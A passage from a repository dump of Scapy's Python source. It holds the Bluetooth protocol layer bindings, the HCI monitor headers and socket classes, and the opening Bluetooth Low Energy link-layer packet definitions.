event=0x02)\nbind_layers(HCI_Event_LE_Meta, HCI_LE_Meta_Connection_Update_Complete, event=0x03)\nbind_layers(HCI_Event_LE_Meta, HCI_LE_Meta_Long_Term_Key_Request, event=0x05)\nbind_layers(HCI_Event_LE_Meta, HCI_LE_Meta_Extended_Advertising_Reports, event=0x0d)\n\nbind_layers(EIR_Hdr, EIR_Flags, type=0x01)\nbind_layers(EIR_Hdr, EIR_IncompleteList16BitServiceUUIDs, type=0x02)\nbind_layers(EIR_Hdr, EIR_CompleteList16BitServiceUUIDs, type=0x03)\nbind_layers(EIR_Hdr, EIR_IncompleteList32BitServiceUUIDs, type=0x04)\nbind_layers(EIR_Hdr, EIR_CompleteList32BitServiceUUIDs, type=0x05)\nbind_layers(EIR_Hdr, EIR_IncompleteList128BitServiceUUIDs, type=0x06)\nbind_layers(EIR_Hdr, EIR_CompleteList128BitServiceUUIDs, type=0x07)\nbind_layers(EIR_Hdr, EIR_ShortenedLocalName, type=0x08)\nbind_layers(EIR_Hdr, EIR_CompleteLocalName, type=0x09)\nbind_layers(EIR_Hdr, EIR_Device_ID, type=0x10)\nbind_layers(EIR_Hdr, EIR_TX_Power_Level, type=0x0a)\nbind_layers(EIR_Hdr, EIR_ClassOfDevice, type=0x0d)\nbind_layers(EIR_Hdr, EIR_SecureSimplePairingHashC192, type=0x0e)\nbind_layers(EIR_Hdr, EIR_SecureSimplePairingRandomizerR192, type=0x0f)\nbind_layers(EIR_Hdr, EIR_SecurityManagerOOBFlags, type=0x11)\nbind_layers(EIR_Hdr, EIR_PeripheralConnectionIntervalRange, type=0x12)\nbind_layers(EIR_Hdr, EIR_ServiceSolicitation16BitUUID, type=0x14)\nbind_layers(EIR_Hdr, EIR_ServiceSolicitation128BitUUID, type=0x15)\nbind_layers(EIR_Hdr, EIR_ServiceData16BitUUID, type=0x16)\nbind_layers(EIR_Hdr, EIR_PublicTargetAddress, type=0x17)\nbind_layers(EIR_Hdr, EIR_Appearance, type=0x19)\nbind_layers(EIR_Hdr, EIR_AdvertisingInterval, type=0x1a)\nbind_layers(EIR_Hdr, EIR_LEBluetoothDeviceAddress, type=0x1b)\nbind_layers(EIR_Hdr, EIR_ServiceData32BitUUID, type=0x20)\nbind_layers(EIR_Hdr, EIR_ServiceData128BitUUID, type=0x21)\nbind_layers(EIR_Hdr, EIR_URI, type=0x24)\nbind_layers(EIR_Hdr, EIR_Manufacturer_Specific_Data, type=0xff)\nbind_layers(EIR_Hdr, EIR_Raw)\n\nbind_layers(HCI_ACL_Hdr, L2CAP_Hdr,)\nbind_layers(L2CAP_Hdr, L2CAP_CmdHdr, cid=1)\nbind_layers(L2CAP_Hdr, L2CAP_CmdHdr, cid=5)  # LE L2CAP Signaling Channel\nbind_layers(L2CAP_CmdHdr, L2CAP_CmdRej, code=1)\nbind_layers(L2CAP_CmdHdr, L2CAP_ConnReq, code=2)\nbind_layers(L2CAP_CmdHdr, L2CAP_ConnResp, code=3)\nbind_layers(L2CAP_CmdHdr, L2CAP_ConfReq, code=4)\nbind_layers(L2CAP_CmdHdr, L2CAP_ConfResp, code=5)\nbind_layers(L2CAP_CmdHdr, L2CAP_DisconnReq, code=6)\nbind_layers(L2CAP_CmdHdr, L2CAP_DisconnResp, code=7)\nbind_layers(L2CAP_CmdHdr, L2CAP_EchoReq, code=8)\nbind_layers(L2CAP_CmdHdr, L2CAP_EchoResp, code=9)\nbind_layers(L2CAP_CmdHdr, L2CAP_InfoReq, code=10)\nbind_layers(L2CAP_CmdHdr, L2CAP_InfoResp, code=11)\nbind_layers(L2CAP_CmdHdr, L2CAP_Create_Channel_Request, code=12)\nbind_layers(L2CAP_CmdHdr, L2CAP_Create_Channel_Response, code=13)\nbind_layers(L2CAP_CmdHdr, L2CAP_Move_Channel_Request, code=14)\nbind_layers(L2CAP_CmdHdr, L2CAP_Move_Channel_Response, code=15)\nbind_layers(L2CAP_CmdHdr, L2CAP_Move_Channel_Confirmation_Request, code=16)\nbind_layers(L2CAP_CmdHdr, L2CAP_Move_Channel_Confirmation_Response, code=17)\nbind_layers(L2CAP_CmdHdr, L2CAP_Connection_Parameter_Update_Request, code=18)\nbind_layers(L2CAP_CmdHdr, L2CAP_Connection_Parameter_Update_Response, code=19)\nbind_layers(L2CAP_CmdHdr, L2CAP_LE_Credit_Based_Connection_Request, code=20)\nbind_layers(L2CAP_CmdHdr, L2CAP_LE_Credit_Based_Connection_Response, code=21)\nbind_layers(L2CAP_CmdHdr, L2CAP_Flow_Control_Credit_Ind, code=22)\nbind_layers(L2CAP_CmdHdr, L2CAP_Credit_Based_Connection_Request, code=23)\nbind_layers(L2CAP_CmdHdr, L2CAP_Credit_Based_Connection_Response, code=24)\nbind_layers(L2CAP_CmdHdr, L2CAP_Credit_Based_Reconfigure_Request, code=25)\nbind_layers(L2CAP_CmdHdr, L2CAP_Credit_Based_Reconfigure_Response, code=26)\nbind_layers(L2CAP_Hdr, ATT_Hdr, cid=4)\nbind_layers(ATT_Hdr, ATT_Error_Response, opcode=0x1)\nbind_layers(ATT_Hdr, ATT_Exchange_MTU_Request, opcode=0x2)\nbind_layers(ATT_Hdr, ATT_Exchange_MTU_Response, opcode=0x3)\nbind_layers(ATT_Hdr, ATT_Find_Information_Request, opcode=0x4)\nbind_layers(ATT_Hdr, ATT_Find_Information_Response, opcode=0x5)\nbind_layers(ATT_Hdr, ATT_Find_By_Type_Value_Request, opcode=0x6)\nbind_layers(ATT_Hdr, ATT_Find_By_Type_Value_Response, opcode=0x7)\nbind_layers(ATT_Hdr, ATT_Read_By_Type_Request_128bit, opcode=0x8)\nbind_layers(ATT_Hdr, ATT_Read_By_Type_Request, opcode=0x8)\nbind_layers(ATT_Hdr, ATT_Read_By_Type_Response, opcode=0x9)\nbind_layers(ATT_Hdr, ATT_Read_Request, opcode=0xa)\nbind_layers(ATT_Hdr, ATT_Read_Response, opcode=0xb)\nbind_layers(ATT_Hdr, ATT_Read_Blob_Request, opcode=0xc)\nbind_layers(ATT_Hdr, ATT_Read_Blob_Response, opcode=0xd)\nbind_layers(ATT_Hdr, ATT_Read_Multiple_Request, opcode=0xe)\nbind_layers(ATT_Hdr, ATT_Read_Multiple_Response, opcode=0xf)\nbind_layers(ATT_Hdr, ATT_Read_By_Group_Type_Request, opcode=0x10)\nbind_layers(ATT_Hdr, ATT_Read_By_Group_Type_Response, opcode=0x11)\nbind_layers(ATT_Hdr, ATT_Write_Request, opcode=0x12)\nbind_layers(ATT_Hdr, ATT_Write_Response, opcode=0x13)\nbind_layers(ATT_Hdr, ATT_Prepare_Write_Request, opcode=0x16)\nbind_layers(ATT_Hdr, ATT_Prepare_Write_Response, opcode=0x17)\nbind_layers(ATT_Hdr, ATT_Execute_Write_Request, opcode=0x18)\nbind_layers(ATT_Hdr, ATT_Execute_Write_Response, opcode=0x19)\nbind_layers(ATT_Hdr, ATT_Write_Command, opcode=0x52)\nbind_layers(ATT_Hdr, ATT_Handle_Value_Notification, opcode=0x1b)\nbind_layers(ATT_Hdr, ATT_Handle_Value_Indication, opcode=0x1d)\nbind_layers(L2CAP_Hdr, SM_Hdr, cid=6)\nbind_layers(SM_Hdr, SM_Pairing_Request, sm_command=0x01)\nbind_layers(SM_Hdr, SM_Pairing_Response, sm_command=0x02)\nbind_layers(SM_Hdr, SM_Confirm, sm_command=0x03)\nbind_layers(SM_Hdr, SM_Random, sm_command=0x04)\nbind_layers(SM_Hdr, SM_Failed, sm_command=0x05)\nbind_layers(SM_Hdr, SM_Encryption_Information, sm_command=0x06)\nbind_layers(SM_Hdr, SM_Master_Identification, sm_command=0x07)\nbind_layers(SM_Hdr, SM_Identity_Information, sm_command=0x08)\nbind_layers(SM_Hdr, SM_Identity_Address_Information, sm_command=0x09)\nbind_layers(SM_Hdr, SM_Signing_Information, sm_command=0x0a)\nbind_layers(SM_Hdr, SM_Security_Request, sm_command=0x0b)\nbind_layers(SM_Hdr, SM_Public_Key, sm_command=0x0c)\nbind_layers(SM_Hdr, SM_DHKey_Check, sm_command=0x0d)\n\n\n###############\n# HCI Monitor #\n###############\n\n\n# https://elixir.bootlin.com/linux/v6.4.2/source/include/net/bluetooth/hci_mon.h#L27\nclass HCI_Mon_Hdr(Packet):\n    name = 'Bluetooth Linux Monitor Transport Header'\n    fields_desc = [\n        LEShortEnumField('opcode', None, {\n            0: \"New index\",\n            1: \"Delete index\",\n            2: \"Command pkt\",\n            3: \"Event pkt\",\n            4: \"ACL TX pkt\",\n            5: \"ACL RX pkt\",\n            6: \"SCO TX pkt\",\n            7: \"SCO RX pkt\",\n            8: \"Open index\",\n            9: \"Close index\",\n            10: \"Index info\",\n            11: \"Vendor diag\",\n            12: \"System note\",\n            13: \"User logging\",\n            14: \"Ctrl open\",\n            15: \"Ctrl close\",\n            16: \"Ctrl command\",\n            17: \"Ctrl event\",\n            18: \"ISO TX pkt\",\n            19: \"ISO RX pkt\",\n        }),\n        LEShortField('adapter_id', None),\n        LEShortField('len', None)\n    ]\n\n\n# https://www.tcpdump.org/linktypes/LINKTYPE_BLUETOOTH_LINUX_MONITOR.html\nclass HCI_Mon_Pcap_Hdr(HCI_Mon_Hdr):\n    name = 'Bluetooth Linux Monitor Transport Pcap Header'\n    fields_desc = [\n        ShortField('adapter_id', None),\n        ShortField('opcode', None)\n    ]\n\n\nclass HCI_Mon_New_Index(Packet):\n    name = 'Bluetooth Linux Monitor Transport New Index Packet'\n    fields_desc = [\n        ByteEnumField('bus', 0, {\n            0x00: \"BR/EDR\",\n            0x01: \"AMP\"\n        }),\n        ByteEnumField('type', 0, {\n            0x00: \"Virtual\",\n            0x01: \"USB\",\n            0x02: \"PC Card\",\n            0x03: \"UART\",\n            0x04: \"RS232\",\n            0x05: \"PCI\",\n            0x06: \"SDIO\"\n        }),\n        LEMACField('addr', None),\n        StrFixedLenField('devname', None, 8)\n    ]\n\n\nclass HCI_Mon_Index_Info(Packet):\n    name = 'Bluetooth Linux Monitor Transport Index Info Packet'\n    fields_desc = [\n        LEMACField('addr', None),\n        XLEShortField('manufacturer', None)\n    ]\n\n\nclass HCI_Mon_System_Note(Packet):\n    name = 'Bluetooth Linux Monitor Transport System Note Packet'\n    fields_desc = [\n        StrNullField('note', None)\n    ]\n\n\n# https://elixir.bootlin.com/linux/v6.4.2/source/include/net/bluetooth/hci_mon.h#L34\nbind_layers(HCI_Mon_Hdr, HCI_Mon_New_Index, opcode=0)\nbind_layers(HCI_Mon_Hdr, HCI_Command_Hdr, opcode=2)\nbind_layers(HCI_Mon_Hdr, HCI_Event_Hdr, opcode=3)\nbind_layers(HCI_Mon_Hdr, HCI_ACL_Hdr, opcode=5)\nbind_layers(HCI_Mon_Hdr, HCI_Mon_Index_Info, opcode=10)\nbind_layers(HCI_Mon_Hdr, HCI_Mon_System_Note, opcode=12)\n\nconf.l2types.register(DLT_BLUETOOTH_LINUX_MONITOR, HCI_Mon_Pcap_Hdr)\n\n\n###########\n# Helpers #\n###########\n\nclass LowEnergyBeaconHelper:\n    \"\"\"\n    Helpers for building packets for Bluetooth Low Energy Beacons.\n\n    Implementers provide a :meth:`build_eir` implementation.\n\n    This is designed to be used as a mix-in -- see\n    ``scapy.contrib.eddystone`` and ``scapy.contrib.ibeacon`` for examples.\n    \"\"\"\n\n    # Basic flags that should be used by most beacons.\n    base_eir = [EIR_Hdr() / EIR_Flags(flags=[\n        \"general_disc_mode\", \"br_edr_not_supported\"]), ]\n\n    def build_eir(self):\n        \"\"\"\n        Builds a list of EIR messages to wrap this frame.\n\n        Users of this helper must implement this method.\n\n        :return: List of HCI_Hdr with payloads that describe this beacon type\n        :rtype: list[scapy.bluetooth.HCI_Hdr]\n        \"\"\"\n        raise NotImplementedError(\"build_eir\")\n\n    def build_advertising_report(self):\n        \"\"\"\n        Builds a HCI_LE_Meta_Advertising_Report containing this frame.\n\n        :rtype: scapy.bluetooth.HCI_LE_Meta_Advertising_Report\n        \"\"\"\n\n        return HCI_LE_Meta_Advertising_Report(\n            type=0,   # Undirected\n            atype=1,  # Random address\n            data=self.build_eir()\n        )\n\n    def build_set_advertising_data(self):\n        \"\"\"Builds a HCI_Cmd_LE_Set_Advertising_Data containing this frame.\n\n        This includes the :class:`HCI_Hdr` and :class:`HCI_Command_Hdr` layers.\n\n        :rtype: scapy.bluetooth.HCI_Hdr\n        \"\"\"\n\n        return HCI_Hdr() / HCI_Command_Hdr() / HCI_Cmd_LE_Set_Advertising_Data(\n            data=self.build_eir()\n        )\n\n\n###########\n# Sockets #\n###########\n\nclass BluetoothSocketError(BaseException):\n    pass\n\n\nclass BluetoothCommandError(BaseException):\n    pass\n\n\nclass BluetoothL2CAPSocket(SuperSocket):\n    desc = \"read/write packets on a connected L2CAP socket\"\n\n    def __init__(self, bt_address):\n        if WINDOWS:\n            warning(\"Not available on Windows\")\n            return\n        s = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_RAW,\n                          socket.BTPROTO_L2CAP)\n        s.connect((bt_address, 0))\n        self.ins = self.outs = s\n\n    def recv(self, x=MTU):\n        return L2CAP_CmdHdr(self.ins.recv(x))\n\n\nclass BluetoothRFCommSocket(BluetoothL2CAPSocket):\n    \"\"\"read/write packets on a connected RFCOMM socket\"\"\"\n\n    def __init__(self, bt_address, port=0):\n        s = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_RAW,\n                          socket.BTPROTO_RFCOMM)\n        s.connect((bt_address, port))\n        self.ins = self.outs = s\n\n\nclass BluetoothHCISocket(SuperSocket):\n    desc = \"read/write on a BlueTooth HCI socket\"\n\n    def __init__(self, iface=0x10000, type=None):\n        if WINDOWS:\n            warning(\"Not available on Windows\")\n            return\n        s = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_RAW, socket.BTPROTO_HCI)  # noqa: E501\n        s.setsockopt(socket.SOL_HCI, socket.HCI_DATA_DIR, 1)\n        s.setsockopt(socket.SOL_HCI, socket.HCI_TIME_STAMP, 1)\n        s.setsockopt(socket.SOL_HCI, socket.HCI_FILTER, struct.pack(\"IIIh2x\", 0xffffffff, 0xffffffff, 0xffffffff, 0))  # type mask, event mask, event mask, opcode  # noqa: E501\n        s.bind((iface,))\n        self.ins = self.outs = s\n#        s.connect((peer,0))\n\n    def recv(self, x=MTU):\n        return HCI_Hdr(self.ins.recv(x))\n\n\nclass sockaddr_hci(ctypes.Structure):\n    _fields_ = [\n        (\"sin_family\", ctypes.c_ushort),\n        (\"hci_dev\", ctypes.c_ushort),\n        (\"hci_channel\", ctypes.c_ushort),\n    ]\n\n\nclass _BluetoothLibcSocket(SuperSocket):\n    def __init__(self, socket_domain, socket_type, socket_protocol, sock_address):\n        # type: (int, int, int, sockaddr_hci) -> None\n        if WINDOWS:\n            warning(\"Not available on Windows\")\n            return\n        # Python socket and bind implementations do not allow us to pass down\n        # the correct parameters. We must call libc functions directly via\n        # ctypes.\n        sockaddr_hcip = ctypes.POINTER(sockaddr_hci)\n        from ctypes.util import find_library\n        libc = ctypes.cdll.LoadLibrary(find_library(\"c\"))\n\n        socket_c = libc.socket\n        socket_c.argtypes = (ctypes.c_int, ctypes.c_int, ctypes.c_int)\n        socket_c.restype = ctypes.c_int\n\n        bind = libc.bind\n        bind.argtypes = (ctypes.c_int,\n                         ctypes.POINTER(sockaddr_hci),\n                         ctypes.c_int)\n        bind.restype = ctypes.c_int\n\n        # Socket\n        s = socket_c(socket_domain, socket_type, socket_protocol)\n        if s < 0:\n            raise BluetoothSocketError(\n                f\"Unable to open socket({socket_domain}, {socket_type}, \"\n                f\"{socket_protocol})\")\n\n        # Bind\n        r = bind(s, sockaddr_hcip(sock_address), sizeof(sock_address))\n        if r != 0:\n            raise BluetoothSocketError(\"Unable to bind\")\n\n        self.hci_fd = s\n        self.ins = self.outs = socket.fromfd(\n            s, socket_domain, socket_type, socket_protocol)\n\n    def readable(self, timeout=0):\n        (ins, _, _) = select.select([self.ins], [], [], timeout)\n        return len(ins) > 0\n\n    def flush(self):\n        while self.readable():\n            self.recv()\n\n    def close(self):\n        if self.closed:\n            return\n\n        # Properly close socket so we can free the device\n        from ctypes.util import find_library\n        libc = ctypes.cdll.LoadLibrary(find_library(\"c\"))\n\n        close = libc.close\n        close.restype = ctypes.c_int\n        self.closed = True\n        if hasattr(self, \"outs\"):\n            if not hasattr(self, \"ins\") or self.ins != self.outs:\n                if self.outs and (WINDOWS or self.outs.fileno() != -1):\n                    close(self.outs.fileno())\n        if hasattr(self, \"ins\"):\n            if self.ins and (WINDOWS or self.ins.fileno() != -1):\n                close(self.ins.fileno())\n        if hasattr(self, \"hci_fd\"):\n            close(self.hci_fd)\n\n\nclass BluetoothUserSocket(_BluetoothLibcSocket):\n    desc = \"read/write H4 over a Bluetooth user channel\"\n\n    def __init__(self, adapter_index=0):\n        sa = sockaddr_hci()\n        sa.sin_family = socket.AF_BLUETOOTH\n        sa.hci_dev = adapter_index\n        sa.hci_channel = HCI_CHANNEL_USER\n        super().__init__(\n            socket_domain=socket.AF_BLUETOOTH,\n            socket_type=socket.SOCK_RAW,\n            socket_protocol=socket.BTPROTO_HCI,\n            sock_address=sa)\n\n    def send_command(self, cmd):\n        opcode = cmd[HCI_Command_Hdr].opcode\n        self.send(cmd)\n        while True:\n            r = self.recv()\n            if r.type == 0x04 and r.code == 0xe and r.opcode == opcode:\n                if r.status != 0:\n                    raise BluetoothCommandError(\"Command %x failed with %x\" % (opcode, r.status))  # noqa: E501\n                return r\n\n    def recv(self, x=MTU):\n        return HCI_Hdr(self.ins.recv(x))\n\n\nclass BluetoothMonitorSocket(_BluetoothLibcSocket):\n    desc = \"Read/write over a Bluetooth monitor channel\"\n\n    def __init__(self):\n        sa = sockaddr_hci()\n        sa.sin_family = socket.AF_BLUETOOTH\n        sa.hci_dev = HCI_DEV_NONE\n        sa.hci_channel = HCI_CHANNEL_MONITOR\n        super().__init__(\n            socket_domain=socket.AF_BLUETOOTH,\n            socket_type=socket.SOCK_RAW,\n            socket_protocol=socket.BTPROTO_HCI,\n            sock_address=sa)\n\n    def recv(self, x=MTU):\n        return HCI_Mon_Hdr(self.ins.recv(x))\n\n\nconf.BTsocket = BluetoothRFCommSocket\n\n# Bluetooth\n\n\n@conf.commands.register\ndef srbt(bt_address, pkts, inter=0.1, *args, **kargs):\n    \"\"\"send and receive using a bluetooth socket\"\"\"\n    if \"port\" in kargs:\n        s = conf.BTsocket(bt_address=bt_address, port=kargs.pop(\"port\"))\n    else:\n        s = conf.BTsocket(bt_address=bt_address)\n    a, b = sndrcv(s, pkts, inter=inter, *args, **kargs)\n    s.close()\n    return a, b\n\n\n@conf.commands.register\ndef srbt1(bt_address, pkts, *args, **kargs):\n    \"\"\"send and receive 1 packet using a bluetooth socket\"\"\"\n    a, b = srbt(bt_address, pkts, *args, **kargs)\n    if len(a) > 0:\n        return a[0][1]\n"
  },
  {
    "path": "scapy/layers/bluetooth4LE.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n# Copyright (C) Airbus DS CyberSecurity\n# Authors: Jean-Michel Picod, Arnaud Lebrun, Jonathan Christofer Demay\n\n\"\"\"Bluetooth 4LE layer\"\"\"\n\nimport struct\n\nfrom scapy.compat import orb, chb\nfrom scapy.config import conf\nfrom scapy.data import (\n    DLT_BLUETOOTH_LE_LL,\n    DLT_BLUETOOTH_LE_LL_WITH_PHDR,\n    PPI_BTLE,\n)\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.fields import (\n    BitEnumField,\n    BitField,\n    ByteEnumField,\n    ByteField,\n    Field,\n    FlagsField,\n    LEIntField,\n    LEShortEnumField,\n    LEShortField,\n    MACField,\n    PacketListField,\n    SignedByteField,\n    X3BytesField,\n    XByteField,\n    XIntField,\n    XLEIntField,\n    XLELongField,\n    XLEShortField,\n    XShortField,\n)\nfrom scapy.contrib.ethercat import LEBitEnumField, LEBitField\n\nfrom scapy.layers.bluetooth import EIR_Hdr, L2CAP_Hdr\nfrom scapy.layers.ppi import PPI_Element, PPI_Hdr\n\nfrom scapy.utils import mac2str, str2mac\n\n####################\n# Transport Layers #\n####################\n\n\nclass BTLE_PPI(PPI_Element):\n    \"\"\"Cooked BTLE PPI header\n\n    See ``ppi_btle_t`` in\n    https://github.com/greatscottgadgets/libbtbb/blob/master/lib/src/pcap.c\n    \"\"\"\n    name = \"BTLE PPI header\"\n    fields_desc = [\n        ByteField(\"btle_version\", 0),\n        # btle_channel is a frequency in MHz. Named for consistency with\n        # other users.\n        LEShortField(\"btle_channel\", None),\n        ByteField(\"btle_clkn_high\", None),\n        LEIntField(\"btle_clk_100ns\", None),\n        SignedByteField(\"rssi_max\", None),\n        SignedByteField(\"rssi_min\", None),\n        SignedByteField(\"rssi_avg\", None),\n        ByteField(\"rssi_count\", None)\n    ]\n\n\nclass BTLE_RF(Packet):\n    \"\"\"Cooked BTLE link-layer pseudoheader.\n\n    https://www.tcpdump.org/linktypes/LINKTYPE_BLUETOOTH_LE_LL_WITH_PHDR.html\n    \"\"\"\n    name = \"BTLE RF info header\"\n\n    _TYPES = {\n        0: \"ADV_OR_DATA_UNKNOWN_DIR\",\n        1: \"AUX_ADV\",\n        2: \"DATA_M_TO_S\",\n        3: \"DATA_S_TO_M\",\n        4: \"CONN_ISO_M_TO_S\",\n        5: \"CONN_ISO_S_TO_M\",\n        6: \"BROADCAST_ISO\",\n        7: \"RFU\",\n    }\n\n    _PHY = {\n        0: \"1M\",\n        1: \"2M\",\n        2: \"Coded\",\n        3: \"RFU\",\n    }\n\n    fields_desc = [\n        ByteField(\"rf_channel\", 0),\n        SignedByteField(\"signal\", -128),\n        SignedByteField(\"noise\", -128),\n        ByteField(\"access_address_offenses\", 0),\n        XLEIntField(\"reference_access_address\", 0),\n        LEBitField(\"dewhitened\", 0, 1),\n        LEBitField(\"sig_power_valid\", 0, 1),\n        LEBitField(\"noise_power_valid\", 0, 1),\n        LEBitField(\"decrypted\", 0, 1),\n        LEBitField(\"reference_access_address_valid\", 0, 1),\n        LEBitField(\"access_address_offenses_valid\", 0, 1),\n        LEBitField(\"channel_aliased\", 0, 1),\n        LEBitEnumField(\"type\", 0, 3, _TYPES),\n        LEBitField(\"crc_checked\", 0, 1),\n        LEBitField(\"crc_valid\", 0, 1),\n        LEBitField(\"mic_checked\", 0, 1),\n        LEBitField(\"mic_valid\", 0, 1),\n        LEBitEnumField(\"phy\", 0, 2, _PHY),\n    ]\n\n\n##########\n# Fields #\n##########\n\nclass BDAddrField(MACField):\n    def __init__(self, name, default, resolve=False):\n        MACField.__init__(self, name, default)\n        if resolve:\n            conf.resolve.add(self)\n\n    def i2m(self, pkt, x):\n        if x is None:\n            return b\"\\0\\0\\0\\0\\0\\0\"\n        return mac2str(':'.join(x.split(':')[::-1]))\n\n    def m2i(self, pkt, x):\n        return str2mac(x[::-1])\n\n\nclass BTLEChanMapField(XByteField):\n    def __init__(self, name, default):\n        Field.__init__(self, name, default, \"<Q\")\n\n    def addfield(self, pkt, s, val):\n        return s + struct.pack(self.fmt, self.i2m(pkt, val))[:5]\n\n    def getfield(self, pkt, s):\n        return s[5:], self.m2i(pkt, struct.unpack(self.fmt, s[:5] + b\"\\x00\\x00\\x00\")[0])  # noqa: E501\n\n\nclass BTLEFeatureField(FlagsField):\n    def __init__(self, name, default):\n        super(BTLEFeatureField, self).__init__(\n            name, default, -64,\n            ['le_encryption',\n             'conn_par_req_proc',\n             'ext_reject_ind',\n             'slave_init_feat_exch',\n             'le_ping',\n             'le_data_len_ext',\n             'll_privacy',\n             'ext_scan_filter',\n             'le_2m_phy',\n             'tx_mod_idx',\n             'rx_mod_idx',\n             'le_coded_phy',\n             'le_ext_adv',\n             'le_periodic_adv',\n             'ch_sel_alg',\n             'le_pwr_class'\n             'min_used_channels',\n             'conn_cte_req',\n             'conn_cte_rsp',\n             'connless_cte_tx',\n             'connless_cte_rx',\n             'antenna_switching_cte_aod_tx',\n             'antenna_switching_cte_aoa_rx',\n             'cte_rx',\n             'periodic_adv_sync_transfer_tx',\n             'periodic_adv_sync_transfer_rx',\n             'sleep_clock_accuracy_updates',\n             'remote_public_key_validation',\n             'cis_central',\n             'cis_peripheral',\n             'iso_broadcaster',\n             'synchronized_receiver',\n             'connected_iso_host_support',\n             'le_power_control_request',\n             'le_power_control_request',\n             'le_path_loss_monitoring',\n             'periodic_adv_adi_support',\n             'connection_subrating',\n             'connection_subrating_host_support',\n             'channel_classification']\n        )\n\n\nclass BTLEPhysField(FlagsField):\n    def __init__(self, name, default):\n        super(BTLEPhysField, self).__init__(\n            name, default, -8,\n            ['phy_1m', 'phy_2m', 'phy_coded']\n        )\n\n\n##########\n# Layers #\n##########\n\nclass BTLE(Packet):\n    name = \"BT4LE\"\n    fields_desc = [\n        XLEIntField(\"access_addr\", 0x8E89BED6),\n        X3BytesField(\"crc\", None)\n    ]\n\n    @staticmethod\n    def compute_crc(pdu, init=0x555555):\n        def swapbits(a):\n            v = 0\n            if a & 0x80 != 0:\n                v |= 0x01\n            if a & 0x40 != 0:\n                v |= 0x02\n            if a & 0x20 != 0:\n                v |= 0x04\n            if a & 0x10 != 0:\n                v |= 0x08\n            if a & 0x08 != 0:\n                v |= 0x10\n            if a & 0x04 != 0:\n                v |= 0x20\n            if a & 0x02 != 0:\n                v |= 0x40\n            if a & 0x01 != 0:\n                v |= 0x80\n            return v\n\n        state = swapbits(init & 0xff) + (swapbits((init >> 8) & 0xff) << 8) + (swapbits((init >> 16) & 0xff) << 16)  # noqa: E501\n        lfsr_mask = 0x5a6000\n        for i in (orb(x) for x in pdu):\n            for j in range(8):\n                next_bit = (state ^ i) & 1\n                i >>= 1\n                state >>= 1\n                if next_bit:\n                    state |= 1 << 23\n                    state ^= lfsr_mask\n        return struct.pack(\"<L\", state)[:-1]\n\n    def post_build(self, p, pay):\n        # Switch payload and CRC\n        crc = p[-3:]\n        p = p[:-3] + pay\n        p += crc if self.crc is not None else self.compute_crc(p[4:])\n        return p\n\n    def post_dissect(self, s):\n        self.raw_packet_cache = None  # Reset packet to allow post_build\n        return s\n\n    def pre_dissect(self, s):\n        # move crc\n        return s[:4] + s[-3:] + s[4:-3]\n\n    def hashret(self):\n        return struct.pack(\"!L\", self.access_addr)\n\n\nclass BTLE_ADV(Packet):\n    # BT Core 5.2 - 2.3 ADVERTISING PHYSICAL CHANNEL PDU\n    name = \"BTLE advertising header\"\n    fields_desc = [\n        BitEnumField(\"RxAdd\", 0, 1, {0: \"public\",\n                                     1: \"random\"}),\n        BitEnumField(\"TxAdd\", 0, 1, {0: \"public\",\n                                     1: \"random\"}),\n        # 4.5.8.3.1 - LE Channel Selection Algorithm #2\n        BitEnumField(\"ChSel\", 0, 1, {1: \"#2\"}),\n        BitField(\"RFU\", 0, 1),  # Unused\n        BitEnumField(\"PDU_type\", 0, 4, {0: \"ADV_IND\",\n                                        1: \"ADV_DIRECT_IND\",\n                                        2: \"ADV_NONCONN_IND\",\n                                        3: \"SCAN_REQ\",\n                                        4: \"SCAN_RSP\",\n                                        5: \"CONNECT_IND\",\n                                        6: \"ADV_SCAN_IND\"}),\n        XByteField(\"Length\", None),\n    ]\n\n    def post_build(self, p, pay):\n        p += pay\n        if self.Length is None:\n            if len(pay) > 2:\n                l_pay = len(pay)\n            else:\n                l_pay = 0\n            p = p[:1] + chb(l_pay & 0xff) + p[2:]\n        if not isinstance(self.underlayer, BTLE):\n            self.add_underlayer(BTLE)\n        return p\n\n\nclass BTLE_DATA(Packet):\n    name = \"BTLE data header\"\n    fields_desc = [\n        BitField(\"RFU\", 0, 3),  # Unused\n        BitField(\"MD\", 0, 1),\n        BitField(\"SN\", 0, 1),\n        BitField(\"NESN\", 0, 1),\n        BitEnumField(\"LLID\", 0, 2, {1: \"continue\", 2: \"start\", 3: \"control\"}),\n        ByteField(\"len\", None),\n    ]\n\n    def post_build(self, p, pay):\n        if self.len is None:\n            p = p[:-1] + chb(len(pay))\n        return p + pay\n\n\nclass BTLE_ADV_IND(Packet):\n    name = \"BTLE ADV_IND\"\n    fields_desc = [\n        BDAddrField(\"AdvA\", None),\n        PacketListField(\"data\", None, EIR_Hdr)\n    ]\n\n\nclass BTLE_ADV_DIRECT_IND(Packet):\n    name = \"BTLE ADV_DIRECT_IND\"\n    fields_desc = [\n        BDAddrField(\"AdvA\", None),\n        BDAddrField(\"InitA\", None)\n    ]\n\n\nclass BTLE_ADV_NONCONN_IND(BTLE_ADV_IND):\n    name = \"BTLE ADV_NONCONN_IND\"\n\n\nclass BTLE_ADV_SCAN_IND(BTLE_ADV_IND):\n    name = \"BTLE ADV_SCAN_IND\"\n\n\nclass BTLE_SCAN_REQ(Packet):\n    name = \"BTLE scan request\"\n    fields_desc = [\n        BDAddrField(\"ScanA\", None),\n        BDAddrField(\"AdvA\", None)\n    ]\n\n    def answers(self, other):\n        return BTLE_SCAN_RSP in other and self.AdvA == other.AdvA\n\n\nclass BTLE_SCAN_RSP(Packet):\n    name = \"BTLE scan response\"\n    fields_desc = [\n        BDAddrField(\"AdvA\", None),\n        PacketListField(\"data\", None, EIR_Hdr)\n    ]\n\n    def answers(self, other):\n        return BTLE_SCAN_REQ in other and self.AdvA == other.AdvA\n\n\nclass BTLE_CONNECT_REQ(Packet):\n    name = \"BTLE connect request\"\n    fields_desc = [\n        BDAddrField(\"InitA\", None),\n        BDAddrField(\"AdvA\", None),\n        # LLDATA\n        XIntField(\"AA\", 0x00),\n        X3BytesField(\"crc_init\", 0x0),\n        XByteField(\"win_size\", 0x0),\n        XLEShortField(\"win_offset\", 0x0),\n        XLEShortField(\"interval\", 0x0),\n        XLEShortField(\"latency\", 0x0),\n        XLEShortField(\"timeout\", 0x0),\n        